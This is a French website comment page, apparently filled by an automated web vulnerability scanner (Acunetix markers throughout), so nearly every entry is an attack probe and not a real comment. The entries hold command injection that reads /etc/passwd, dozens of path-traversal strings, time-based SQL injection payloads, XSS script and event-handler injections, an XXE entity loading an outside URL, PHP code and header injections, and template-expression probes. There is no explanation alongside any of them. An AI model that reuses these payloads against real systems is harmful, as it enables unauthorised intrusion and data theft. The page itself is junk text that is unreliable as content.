.: Commentaires : :.

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par response.write(9405212*9738366)
1

  Mr.     
Envoyée par '+response.write(9405212*9738366)+'
1

  Mr.     
Envoyée par "+response.write(9405212*9738366)+"
1

  Mr.     
Envoyée par SomeCustomInjectedHeader:injected_by_wvs
1

  Mr.     
Envoyée par SomeCustomInjectedHeader:injected_by_wvs
1

  Mr.     
Envoyée par SomeCustomInjectedHeader:injected_by_wvs
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par &cat /etc/passwd&
1

  Mr.     
Envoyée par '&cat /etc/passwd&'
1

  Mr.     
Envoyée par "&cat /etc/passwd&"
1

  Mr.     
Envoyée par cat /etc/passwd
1

  Mr.     
Envoyée par `cat /etc/passwd`
1

  Mr.     
Envoyée par |cat /etc/passwd#
1

  Mr.     
Envoyée par '|'ld
1

  Mr.     
Envoyée par "|"ld
1

  Mr.     
Envoyée par ;cat /etc/passwd;
1

  Mr.     
Envoyée par ';cat /etc/passwd;'
1

  Mr.     
Envoyée par ";cat /etc/passwd;"
1

  Mr.     
Envoyée par ||cat /etc/passwd
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par
1

  Mr.     
Envoyée par 268435455
1

  Mr.     
Envoyée par ãh
1

  Mr.     
Envoyée par ..À¯
1

  Mr.     
Envoyée par 1e309
1

  Mr.     
Envoyée par '"\'\");|]*{ <>¿''
1

  Mr.     
Envoyée par
1

  Mr.     
Envoyée par 1
response.write(9773405*9052168)

  Mr.     
Envoyée par 1
'+response.write(9773405*9052168)+'

  Mr.     
Envoyée par 1
"+response.write(9773405*9052168)+"

  Mr.     
Envoyée par ../../../../../../../../../../etc/passwd
1

  Mr.     
Envoyée par ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
1

  Mr.     
Envoyée par ../../../../../../../../../../etc/passwd.jpg
1

  Mr.     
Envoyée par Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n
1

  Mr.     
Envoyée par ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
1

  Mr.     
Envoyée par /../..//../..//../..//../..//../..//etc/passwd.jpg
1

  Mr.     
Envoyée par .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par /etc/passwd
1

  Mr.     
Envoyée par ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
1

  Mr.     
Envoyée par 1

SomeCustomInjectedHeader:injected_by_wvs

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1

SomeCustomInjectedHeader:injected_by_wvs

  Mr.     
Envoyée par ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1

  Mr.     
Envoyée par ..À¯..À¯..À¯..À¯..À¯..À¯..À¯..À¯etc/passwd
1

  Mr.     
Envoyée par invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
1

  Mr.     
Envoyée par IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/
1

  Mr.     
Envoyée par 1 and sleep(4)
1

  Mr.     
Envoyée par 1 or (sleep(4)+1) limit 1 --
1

  Mr.     
Envoyée par 1' and sleep(4)='
1

  Mr.     
Envoyée par 1' and (sleep(4)+1) limit 1 --
1

  Mr.     
Envoyée par 1

SomeCustomInjectedHeader:injected_by_wvs

  Mr.     
Envoyée par 1' or (sleep(4)+1) limit 1 --
1

  Mr.     
Envoyée par 1" or (sleep(4)+1) limit 1 --
1

  Mr.     
Envoyée par 1'=sleep(4)='
1

  Mr.     
Envoyée par 1"=sleep(4)="
1

  response.write(9325702*9884530)     
Envoyée par 1
1

  Mr.     
Envoyée par 1'+(select 1 from (select sleep(4))A)+'
1

  '+response.write(9325702*9884530)+'     
Envoyée par 1
1

  Mr.     
Envoyée par 1;select pg_sleep(4); --
1

  Mr.     
Envoyée par 1';select pg_sleep(4); --
1

  "+response.write(9325702*9884530)+"     
Envoyée par 1
1

  Mr.     
Envoyée par 1; waitfor delay '0:0:4' --
1

  Mr.     
Envoyée par 1'; waitfor delay '0:0:4' --
1

  Mr.     
Envoyée par 1"; waitfor delay '0:0:4' --
1

  Mr.     
Envoyée par ${99265+99545}
1

  Mr.     
Envoyée par 1
1

   SomeCustomInjectedHeader:injected_by_wvs     
Envoyée par 1
1

   SomeCustomInjectedHeader:injected_by_wvs     
Envoyée par 1
1

   SomeCustomInjectedHeader:injected_by_wvs     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
${99557+99340}

  ${100449+99606}     
Envoyée par 1
1

  Mr.     
Envoyée par http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg
1

  Mr.     
Envoyée par 1some_inexistent_file_with_long_name%00.jpg
1

  Mr.     
Envoyée par http://testasp.vulnweb.com/t/fit.txt?%00.jpg
1

  Mr.     
Envoyée par testasp.vulnweb.com
1

  Mr.     
Envoyée par )
1

  Mr.     
Envoyée par !(()&&!|*|*|
1

  Mr.     
Envoyée par ^(#$!@#$)(()))******
1

  Mr.     
Envoyée par
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par '"()
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ;print(md5(acunetix_wvs_security_test));
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ';print(md5(acunetix_wvs_security_test));$a='
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ";print(md5(acunetix_wvs_security_test));$a="
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ${@print(md5(acunetix_wvs_security_test))}
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ${@print(md5(acunetix_wvs_security_test))}\
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1

  Mr.     
Envoyée par 1
'"()

       
Envoyée par 1
1

  '"()     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
)

  Mr.     
Envoyée par 1
!(()&&!|*|*|

  Mr.     
Envoyée par 1
^(#$!@#$)(()))******

  Mr.     
Envoyée par http://testasp.vulnweb.com/t/xss.html?%00.jpg
1

  Mr.     
Envoyée par 1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.jpg

  Mr.     
Envoyée par 1
1some_inexistent_file_with_long_name%00.jpg

  Mr.     
Envoyée par 1
http://testasp.vulnweb.com/t/fit.txt?%00.jpg

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
testasp.vulnweb.com

  )     
Envoyée par 1
1

  !(()&&!|*|*|     
Envoyée par 1
1

  ^(#$!@#$)(()))******     
Envoyée par 1
1

  Mr.     
Envoyée par 1
http://testasp.vulnweb.com/t/xss.html?%00.jpg

  http://testasp.vulnweb.com/t/xss.html?%00.jpg     
Envoyée par 1
1

  http://some-inexistent-website.acu/some_inexistent_file_with_long_name?%00.     
Envoyée par 1
1

  1some_inexistent_file_with_long_name%00.     
Envoyée par 1
1

  http://testasp.vulnweb.com/t/fit.txt?%00.     
Envoyée par 1
1

  testasp.vulnweb.com     
Envoyée par 1
1

  Mr.     
Envoyée par http://testasp.vulnweb.com/t/fit.txt
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par acunetix_wvs_invalid_filename
1

  Mr.     
Envoyée par commentaires.php
1

  Mr.     
Envoyée par commentaires.php
1

  Mr.     
Envoyée par commentaires.php/.
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1

  Mr.     
Envoyée par 1
268435455

  Mr.     
Envoyée par 1
ãh

  Mr.     
Envoyée par 1
..À¯

  Mr.     
Envoyée par 1
1e309

  Mr.     
Envoyée par 1
'"\'\");|]*{
¿''

  Mr.     
Envoyée par 1

  Mr.     
Envoyée par 1
http://testasp.vulnweb.com/t/fit.txt

  Mr.     
Envoyée par 1
;print(md5(acunetix_wvs_security_test));

  Mr.     
Envoyée par 1
';print(md5(acunetix_wvs_security_test));$a='

  Mr.     
Envoyée par 1
";print(md5(acunetix_wvs_security_test));$a="

  http://testasp.vulnweb.com/t/fit.txt     
Envoyée par 1
1

  Mr.     
Envoyée par 1
${@print(md5(acunetix_wvs_security_test))}

  Mr.     
Envoyée par 1
${@print(md5(acunetix_wvs_security_test))}\

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1'"
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par \
1

  Mr.     
Envoyée par )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1Àxa7À¢
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par @@1Ujev
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par JyI=
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par ¿'¿"
1

  Mr.     
Envoyée par ð''ð""
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  ;print(md5(acunetix_wvs_security_test));     
Envoyée par 1
1

  ';print(md5(acunetix_wvs_security_test));$a='     
Envoyée par 1
1

  ";print(md5(acunetix_wvs_security_test));$a="     
Envoyée par 1
1

  ${@print(md5(acunetix_wvs_security_test))}     
Envoyée par 1
1

  ${@print(md5(acunetix_wvs_security_test))}\     
Envoyée par 1
1

  Mr.     
Envoyée par 1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  Mr.     
Envoyée par 1
1

       
Envoyée par 1
1

  268435455     
Envoyée par 1
1

  Mr.     
Envoyée par 1
&cat /etc/passwd&

  ãh     
Envoyée par 1
1

  Mr.     
Envoyée par 1
'&cat /etc/passwd&'

  ..À¯     
Envoyée par 1
1

  Mr.     
Envoyée par 1
"&cat /etc/passwd&"

  Mr.     
Envoyée par 1

cat /etc/passwd

  1e309     
Envoyée par 1
1

  Mr.     
Envoyée par 1
`cat /etc/passwd`

  Mr.     
Envoyée par http://www.acunetix.tst
1

  Mr.     
Envoyée par 1
1

  '"\'\");|]*{ <>¿''     
Envoyée par 1
1

  Mr.     
Envoyée par 1
|cat /etc/passwd#

       
Envoyée par 1
1

  Mr.     
Envoyée par 1
'|'ld

  Mr.     
Envoyée par 1
"|"ld

  )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))     
Envoyée par 1
1

  Mr.     
Envoyée par 1
;cat /etc/passwd;

  Mr.     
Envoyée par 1
';cat /etc/passwd;'

  Mr.     
Envoyée par 1
";cat /etc/passwd;"

  Mr.     
Envoyée par 1
||cat /etc/passwd

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://testasp.vulnweb.com/t/fit.txt"> ]> <xxx>&acunetixent;</xxx>
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par '"
1

  Mr.     
Envoyée par <!--
1

  Mr.     
Envoyée par 1


&acunetixent;

  Mr.     
Envoyée par 1
http://www.acunetix.tst

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE acunetix [ <!ENTITY acunetixent SYSTEM "http://testasp.vulnweb.com/t/fit.txt"> ]> <xxx>&acunetixent;</xxx>      
Envoyée par 1
1

  http://www.acunetix.tst     
Envoyée par 1
1

  Mr.     
Envoyée par 1'"()&%<ScRiPt >prompt(977335)</ScRiPt>
1

  Mr.     
Envoyée par 1_965613
1

  Mr.     
Envoyée par acu7044＜s1ï¹¥s2ʺs3ʹuca7044
1

  Mr.     
Envoyée par acux5982À¾z1À¼z2aÂ�bcxuca5982
1

  Mr.     
Envoyée par 1" onmouseover=prompt(908029) bad="
1

  &cat /etc/passwd&     
Envoyée par 1
1

  '&cat /etc/passwd&'     
Envoyée par 1
1

  "&cat /etc/passwd&"     
Envoyée par 1
1

   cat /etc/passwd      
Envoyée par 1
1

  `cat /etc/passwd`     
Envoyée par 1
1

  |cat /etc/passwd#     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  '|'ld     
Envoyée par 1
1

  "|"ld     
Envoyée par 1
1

  ;cat /etc/passwd;     
Envoyée par 1
1

  ';cat /etc/passwd;'     
Envoyée par 1
1

  ";cat /etc/passwd;"     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
acunetix_wvs_invalid_filename

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
'"

  Mr.     
Envoyée par 1
commentaires.php

  ||cat /etc/passwd     
Envoyée par 1
1

  Mr.     
Envoyée par 1
commentaires.php

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1

  Mr.     
Envoyée par 1
commentaires.php/.

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  '"     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  <!--     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  acunetix_wvs_invalid_filename     
Envoyée par 1
1

  commentaires.php     
Envoyée par 1
1

  commentaires.php     
Envoyée par 1
1

  commentaires.php/.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1'"()&%prompt(930396)

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1_998591

  Mr.'"()&%<ScRiPt >prompt(941898)</ScRiPt>     
Envoyée par 1
1

  Mr._991237     
Envoyée par 1
1

  Mr.     
Envoyée par 1
../../../../../../../../../../etc/passwd

  Mr.     
Envoyée par 1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  Mr.     
Envoyée par 1
../../../../../../../../../../etc/passwd.jpg

  Mr.     
Envoyée par 1
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

  Mr.     
Envoyée par 1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

  Mr.     
Envoyée par 1
/../..//../..//../..//../..//../..//etc/passwd.jpg

  Mr.     
Envoyée par 1
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

  Mr.     
Envoyée par 1
/etc/passwd

  Mr.     
Envoyée par 1
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

  Mr.     
Envoyée par 1
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

  Mr.     
Envoyée par 1
..À¯..À¯..À¯..À¯..À¯..À¯..À¯..À¯etc/passwd

  Mr.     
Envoyée par 1
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

  Mr.     
Envoyée par 1
file:///etc/passwd

  Mr.     
Envoyée par 1
/\../\../\../\../\../\../\../etc/passwd

  Mr.     
Envoyée par 1
WEB-INF/web.xml

  Mr.     
Envoyée par 1
WEB-INF\web.xml

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1'"

  Mr.     
Envoyée par 1
\

  Mr.     
Envoyée par 1
1Àxa7À¢

  Mr.     
Envoyée par 1
@@vj4yD

  Mr.     
Envoyée par 1
JyI=

  Mr.     
Envoyée par 1
¿'¿"

  Mr.     
Envoyée par 1
ð''ð""

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
IF(SUBSTR(@@version,1,1)

  Mr.     
Envoyée par 1
1 and sleep(4)

  Mr.     
Envoyée par 1
1 or (sleep(4)+1) limit 1 --

  Mr.     
Envoyée par 1
1' and sleep(4)='

  Mr.     
Envoyée par 1
1' and (sleep(4)+1) limit 1 --

  Mr.     
Envoyée par 1
1' or (sleep(4)+1) limit 1 --

  Mr.     
Envoyée par 1
1" or (sleep(4)+1) limit 1 --

  Mr.     
Envoyée par 1
1'=sleep(4)='

  Mr.     
Envoyée par 1
1"=sleep(4)="

  Mr.     
Envoyée par 1
1'+(select 1 from (select sleep(4))A)+'

  Mr.     
Envoyée par 1
1;select pg_sleep(4); --

  Mr.     
Envoyée par 1
1';select pg_sleep(4); --

  Mr.     
Envoyée par 1
1; waitfor delay '0:0:4' --

  Mr.     
Envoyée par 1
1'; waitfor delay '0:0:4' --

  Mr.     
Envoyée par 1
1"; waitfor delay '0:0:4' --

  Mr.     
Envoyée par 1
1

  1'"     
Envoyée par 1
1

  \     
Envoyée par 1
1

  1Àxa7À¢     
Envoyée par 1
1

  @@NBtUv     
Envoyée par 1
1

  JyI=     
Envoyée par 1
1

  ¿'¿"     
Envoyée par 1
1

  ð''ð""     
Envoyée par 1
1

  ../../../../../../../../../../etc/passwd     
Envoyée par 1
1

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.     
Envoyée par 1
1

  ../../../../../../../../../../etc/passwd.     
Envoyée par 1
1

  Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n     
Envoyée par 1
1

  ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.     
Envoyée par 1
1

  /../..//../..//../..//../..//../..//etc/passwd.     
Envoyée par 1
1

  .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd     
Envoyée par 1
1

  /etc/passwd     
Envoyée par 1
1

  ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd     
Envoyée par 1
1

  ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd     
Envoyée par 1
1

  ..À¯..À¯..À¯..À¯..À¯..À¯..À¯..À¯etc/passwd     
Envoyée par 1
1

  invalid../../../../../../../../../../etc/passwd/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.     
Envoyée par 1
1

  file:///etc/passwd     
Envoyée par 1
1

  /\../\../\../\../\../\../\../etc/passwd     
Envoyée par 1
1

  WEB-INF/web.xml     
Envoyée par 1
1

  WEB-INF\web.xml     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  Mr.     
Envoyée par 1
1

  IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/     
Envoyée par 1
1

  Mr.' and sleep(4)='     
Envoyée par 1
1

  Mr.' and (sleep(4)+1) limit 1 --      
Envoyée par 1
1

  Mr.' or (sleep(4)+1) limit 1 --      
Envoyée par 1
1

  Mr." or (sleep(4)+1) limit 1 --      
Envoyée par 1
1

  Mr.'=sleep(4)='     
Envoyée par 1
1

  Mr."=sleep(4)="     
Envoyée par 1
1

  Mr.'+(select 1 from (select sleep(4))A)+'     
Envoyée par 1
1

  Mr. and sleep(4)      
Envoyée par 1
1

  Mr. or (sleep(4)+1) limit 1 --      
Envoyée par 1
1

  Mr.';select pg_sleep(4); --      
Envoyée par 1
1

  Mr.'; waitfor delay '0:0:4' --      
Envoyée par 1
1

  Mr."; waitfor delay '0:0:4' --      
Envoyée par 1
1